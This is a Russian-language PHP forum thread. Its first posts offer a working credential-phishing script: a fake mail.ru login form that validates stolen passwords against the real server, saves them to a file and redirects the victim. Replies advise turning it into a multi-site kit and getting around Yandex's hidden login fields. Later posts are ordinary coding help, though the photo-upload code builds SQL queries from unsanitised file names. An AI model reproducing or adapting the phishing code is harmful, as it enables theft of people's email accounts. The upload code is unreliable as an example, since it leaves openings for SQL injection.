m0Hze Вот тебе навоял пример для mail.ru. Работает, проверял) PHP: <?php if(isset($_POST['submit'])){ // Если данные отправились $mail = $_POST['mail']; $zone = $_POST['zone']; $pass = $_POST['pass']; $post = 'Login='.$mail.'&Domain='.$zone.'&Password='.$pass; $cl = curl_init('http://win.mail.ru/cgi-bin/auth'); curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)'); curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/'); curl_setopt($cl, CURLOPT_HEADER, 1); curl_setopt($cl, CURLOPT_POST, 1); curl_setopt($cl, CURLOPT_POSTFIELDS, $post); $exec = curl_exec($cl); curl_close($cl); if(stripos($exec, 'Неверное имя пользователя или пароль')){ echo 'Неверные данные'; }else{ /* Запись в файл */ $open = fopen('result.txt', 'r+t'); fputs($open, $mail.'@'.$zone.' : '.$pass."\r\n"); fclose($open); /* Переадресация куда-то */ header('location: http://kuda-to.ru'); die(); } }else{ ?> <form action="" method="post"> <input name="mail" type="text" /><br/> <select size="1" name="zone"> <option value="mail.ru">mail.ru</option> <option value="bk.ru">bk.ru</option> <option value="inbox.ru">inbox.ru</option> <option value="list.ru">list.ru</option> </select><br/> <input name="pass" type="password" /> <input type="submit" value="Войти" name="submit" /> </form> <?php } ?> Ну а всякие там проверки и т.д. сделаешь сам)
Если там ssl, то предётся немного переделать. И как ты говоришь "тупо убрать зону" тоже врядли прокатит. Снифай заголовки отправляемые и полученные от сервера, смотри какие данные передаются и т.д. мдэ, думаю тебе ещё книжки надо почитать) PHP: stripos($exec, 'Неверное имя пользователя или пароль') Это проверка в полученном коде правильности вводимых данных. если хочешь показывать страницу error.php то впиши что-то типа. PHP: echo file_get_contents('error.php'); p.s. пиздец даже спасибо не сказал =\
Чувак, ты реально задалбываешь людей и даже спасибо не говоришь, откомментировал код Enot'a в "непонятном" тебе моменте... И совершенно согласен с советом, данным тебе все тем же Енотом, почитай php.net, там все предельно ясно.... единственный бок, что там код за тебя не пишут...
мдааа, при чём тут плюсики? есть просто такое слово "Спасибо". тебе тут вообще никто ничем не обязан помогать и что-то обьяснять, тебя могли бы просто проигнорить или обозвать ламером и послать на, но тебе выкладывают код, обьясняют что и как, исправляют.....ппц слов нет =\ ss88 зря, ему не поможет
Мы не злые, мы в меру добрые! а на моему работает 8) У тебя версия PHP ниже 5-й. В твоём случае замени stripos() на stristr() Странно даже как-то. Я обычно все скрипты с ошибками пишу ))
Давно такого не видел, "хостинг тупой"...это ж надо, какой тупой хостинг... Просто эта функция характерна для РНР 5, судя по всему, у тебя 4
Мдя... зачем??? Тебе так не нравится??? ))) Ты бы это до ума довел + добавь поддержку такого себе списка профилей (храни в файле или в БД), ведь, по сути, работа с разными сайтами здесь заключается в изменении нескольких всего параметров, а именно: PHP: //1. специфические для сайтов имена инпутов $post = 'Login='.$mail.'&Domain='.$zone.'&Password='.$pass; //2. путь к авторизации $cl = curl_init('http://win.mail.ru/cgi-bin/auth'); //3. Referer curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/'); //4. Проверять характерные для разных сайтов сообщения об ошибках $errorPageText=file_get_contents('error.php'); В итоге, в случае работы с большим кол-вом сайтов, можно будет получить некоторую гибкость малой кровью
и про Яндекс, я, кажется, понял, почему у тебя ничего не выходит, это не из-за http или https. Просто там в форме присутствует скрытое поле PHP: <input type="hidden" name="idkey" value = "3361229293991TPx0L3xKE"> Это какой-то динамический id... Но, по-моему, выйти из этой ситуации можно так: PHP: $preAuth=file_get_contents('http://passport.yandex.ru/passport'); //$idKey=выдираем из кода страницы значение поля //а когда уже передаем Логин/Пароль, то нужно в POST засунуть и этот id +там еще есть скрытое поле timestamp, вполне возможно, что они проверяют его наличие в POST-запросе
Почему фото не выводится,,,,,,,,,,,,????? форма(index.php): PHP: <form enctype="multipart/form-data" method="POST" action="load.php"> <b>Фото:</b><br /> <input type="file" name="myfile" style="width:304px; height:18px" id="myfile" /> <br /><br /> <input style="height: 35px;" type="submit" value="Добавить фото" name="submit"> </form> Оброботчик(load.php): PHP: <?php // Подключаемься к базе данных include ("db.php"); //================Настройки============= // $maxwidth = "300px"; // максимальная ширина картинок на превью $fotos_dir = "fotos/"; // Директория для фотографий товаров $foto_name = $fotos_dir.time()."_".basename($_FILES['myfile']['name']); // Полное имя файла вместе с путем $foto_light_name = time()."_".basename($_FILES['myfile']['name']); // Имя файла исключая путь $foto_tag = "<img src=\"$foto_name\" border=\"0\">"; // Готовый тэг для вставки картинки на страницу $foto_tag_preview = "<img src=\"$foto_name\" border=\"0\" width=\"$maxwidth\">"; // Тот же тэг, но для превью // Текст ошибок $error_by_mysql = "<span style=\"font: bold 15px tahoma; color: red;\">Ошибка при добавлении данных в базу</span>"; $error_by_file = "<span style=\"font: bold 15px tahoma; color: red;\">Невозможно загрузить файл в директорию. Возможно её не существует</span>"; // Начало if(isset($_FILES["myfile"])) { $myfile = $_FILES["myfile"]["tmp_name"]; $myfile_name = $_FILES["myfile"]["name"]; $myfile_size = $_FILES["myfile"]["size"]; $myfile_type = $_FILES["myfile"]["type"]; $error_flag = $_FILES["myfile"]["error"]; // Если ошибок не было if($error_flag == 0) { $DOCUMENT_ROOT = $_SERVER['DOCMENT_ROOT']; $upfile = getcwd()."\\fotos\\" . time()."_".basename($_FILES["myfile"]["name"]); if ($_FILES['myfile']['tmp_name']) { //Если не удалось загрузить файл if (!move_uploaded_file($_FILES['myfile']['tmp_name'], $upfile)) { echo "$error_by_file"; exit; } } else { echo 'Проблема: возможна атака через загрузку файла. '; echo $_FILES['myfile']['name']; exit; } // Заносим путь картинки в базу данных $q = "INSERT INTO foto (url,name) VALUES ('$foto_name','$foto_light_name')"; $query = mysql_query($q); // вывод привью $result = mysql_query("SELECT * FROM foto WHERE name='$foto_light_name'",$db); if (!$result) { echo "<p>Запрос на выборку данных из базы не прошел. Напишите об этом администратору [email protected]. <br> <strong>Код ошибки:</strong></p>"; exit(mysql_error()); } if (mysql_num_rows($result) > 0) { $myrow = mysql_fetch_array($result); printf ("<img scr='".$myrow['url']."'>"); } else { echo "<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>"; exit(); } // Данные успешно внесены в базу данных, выводим сообщение if ($query == 'true') { echo "<br /><b>Данные успешно внесены в базу</b>"; } // В противном случае, выводим ошибку при добавлении в базу данных else { echo "$error_by_mysql"; } } elseif ($myfile_size == 0) { echo "Пустая форма!"; } } ?>
Хм... странно, что РНР не ругался на то, что у тебя в mysql_query при выполнении запроса вставки не указан хэндл соединения с базой данных ))) PHP: $q = "INSERT INTO foto (url,name) VALUES ('$foto_name','$foto_light_name')"; $query = mysql_query($q,/*ты забыл вставить дескриптор соединения*/); Есть масса замечаний 1. Зачем ты пишешь в путях обратный слэш??? В винде прямой тоже отлично работает Ну это так, вопросы совместимости. 2. Зачем ты выбираешь только что занесенную запись, если вся инфа у тебя и так есть в переменных??? Так можно долго продолжать, а так... будь внимательнее и не пиши себе проблем )))
все нормально, в описании mysql_query явно указано, что идентификатор ресурса указывать не обязательно
Вот, почистил некоторый логический мусор, вот так все работает, а ошибка была банальнейшей, в тэге img, указан источник как атрибут не src, а scr и других очепяток в коде хватало ))) PHP: <?php // Подключаемься к базе данных include ("db.php"); //================Настройки============= // // максимальная ширина картинок на превью $maxwidth = "300px"; // Директория для фотографий товаров $fotos_dir = "fotos/"; // Полное имя файла вместе с путем $foto_name = $fotos_dir . time() . "_" . basename($_FILES['myfile']['name']); // Имя файла исключая путь $foto_light_name = time() . "_" . basename($_FILES['myfile']['name']); // Готовый тэг для вставки картинки на страницу $foto_tag = "<img src=\"$foto_name\" border=\"0\">"; // Тот же тэг, но для превью $foto_tag_preview = "<img src=\"$foto_name\" border=\"0\" width=\"$maxwidth\">"; // Текст ошибок $error_by_mysql = "<span style=\"font: bold 15px tahoma; color: red;\">Ошибка при добавлении данных в базу</span>"; $error_by_file = "<span style=\"font: bold 15px tahoma; color: red;\">Невозможно загрузить файл в директорию. Возможно её не существует</span>"; // Начало if (isset($_FILES["myfile"])) { $myfile = $_FILES["myfile"]["tmp_name"]; $myfile_size = $_FILES["myfile"]["size"]; // Если ошибок не было if ($_FILES["myfile"]["error"] == 0) { $upfile = getcwd() . "/fotos/" . time() . "_" . basename($_FILES["myfile"]["name"]); if ($_FILES['myfile']['tmp_name']) { //Если не удалось загрузить файл if (! move_uploaded_file($_FILES['myfile']['tmp_name'], $upfile)) { echo $error_by_file; exit(); } } else { echo 'Проблема: возможна атака через загрузку файла. '; //странный способ )) echo $_FILES['myfile']['name']; exit(); } // Заносим путь картинки в базу данных $q = "INSERT INTO foto (url,name) VALUES ('$foto_name','$foto_light_name')"; $query = mysql_query($q, $db); if ($query) { printf("<img src='{$foto_name}'/>"); echo "<br /><b>Данные успешно внесены в базу</b>"; } else { echo "<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>"; exit(mysql_error()); } } elseif ($myfile_size == 0) { echo "Пустая форма!"; } } ?> Все работает
PHP: <?php $arr = array( "Nort America"=>array("USA"=>array("Capital"=>" Washington")), "Europa"=> array("France"=>array("Capital"=>"Paris")), "Africa"=> array("Moroco"=>array("Capital"=>"Moroco")) ); foreach ($arr as $k => $v) { echo $k ."\n" ; foreach($v as $arr => $k) { echo $arr ." "."<br/>\n"; /* что надо подставить 3 цыкл ? */ foreach ($v as $arr) { echo $arr ."\n"; } } } ?> Помогите вывести название столиц...
PHP: $arr = array("Nort America"=>array("USA"=>array("Capital"=>"Washington")), "Europa"=> array("France"=>array("Capital"=>"Paris")), "Africa"=> array("Moroco"=>array("Capital"=>"Moroco")) ); foreach($arr as $part => $country) { foreach($country as $name => $land){ foreach($land as $capital){ echo 'Часть света: '.$part.' => Страна: '.$name.' => Столица: '.$capital.'<br/>'; } } }
А вот так, вроде, намного лучше, при той же функциональности: PHP: <?php // Подключаемься к базе данных include ("db.php"); //================Настройки============= // // максимальная ширина картинок на превью $maxwidth = "300px"; // Директория для фотографий товаров $fotos_dir = "fotos/"; // Полное имя файла вместе с путем $foto_name = $fotos_dir . time() . "_" . $_FILES['myfile']['name']; // Готовый тэг для вставки картинки на страницу $foto_tag = "<img src='{$foto_name}' border='0'>"; // Тот же тэг, но для превью $foto_tag_preview = "<img src='{$foto_name}' border='0' width='{$maxwidth}'>"; // Текст ошибок $error_by_mysql = "<span style='font: bold 15px tahoma; color: red'>Ошибка при добавлении данных в базу</span>"; $error_by_file = "<span style='font: bold 15px tahoma; color: red'>Невозможно загрузить файл в директорию. Возможно её не существует</span>"; // Начало if (isset($_FILES["myfile"])) { // Если ошибок не было if (($_FILES["myfile"]["error"] == 0) && (in_array(strtolower(substr($_FILES['myfile']['name'], - 4)), array(".jpg" , ".gif" , ".png")))) { $upfile = getcwd() . "/fotos/" . time() . "_" . basename($_FILES["myfile"]["name"]); if ($_FILES['myfile']['tmp_name']){ //Если не удалось загрузить файл if (! move_uploaded_file($_FILES['myfile']['tmp_name'], $upfile)) exit($error_by_file); } else exit ("Проблема: возможна атака через загрузку файла хотя проверяется это не так, а, наверное, просто нам подсовывают файл не с тем расширением {$_FILES ['myfile'] ['name']}"); // Заносим путь картинки в базу данных $query = mysql_query("INSERT INTO foto (url,name) VALUES ('{$foto_name}','{$fotos_dir}{$foto_name}')", $db); if ($query) echo "{$foto_tag}Ъ<br /><b>Данные успешно внесены в базу</b>"; else exit("<p>Ошибка сохранения данных.</p>" . mysql_error()); } else //Если возникла ошибка при передаче или левое расширение файла exit("Ошибка обработки данных либо вы пытаетесь подсунуть нам свинью"); } ?>
Не думал, что возникнут трудности при решении такой банальной задачи Какой-то ступор седня Нужно отфильтровать пользователей по возрасту Например, есть поле "От" и "До" И есть массив с датами рождений, например 06.08.1985, 31.12.1985 и т.д. Нужно выбрать всех пользователей входящих в условия - от и до, причем не только по годам( но и по месяцам и дням, т.е. др у пользователя-6 августа, знач 5 числа, он не входит, а 6 уже входит в групу) А проблема возникла в следующем Замечание: Для большинства систем допустимыми являются даты с 13 декабря 1901, 20:45:54 GMT по 19 января 2038, 03:14:07 GMT. После 38 года, они обнулятся Но мне нужен расчет и в дальнейшем Вообщем прошу Вашей помощи! ( не нагуглил )
не понял сути проблемы, ты рассчитываешь свою систему "на века"? )))) Или как? Поясни немного, а то, наверное, и у меня ступор седня ))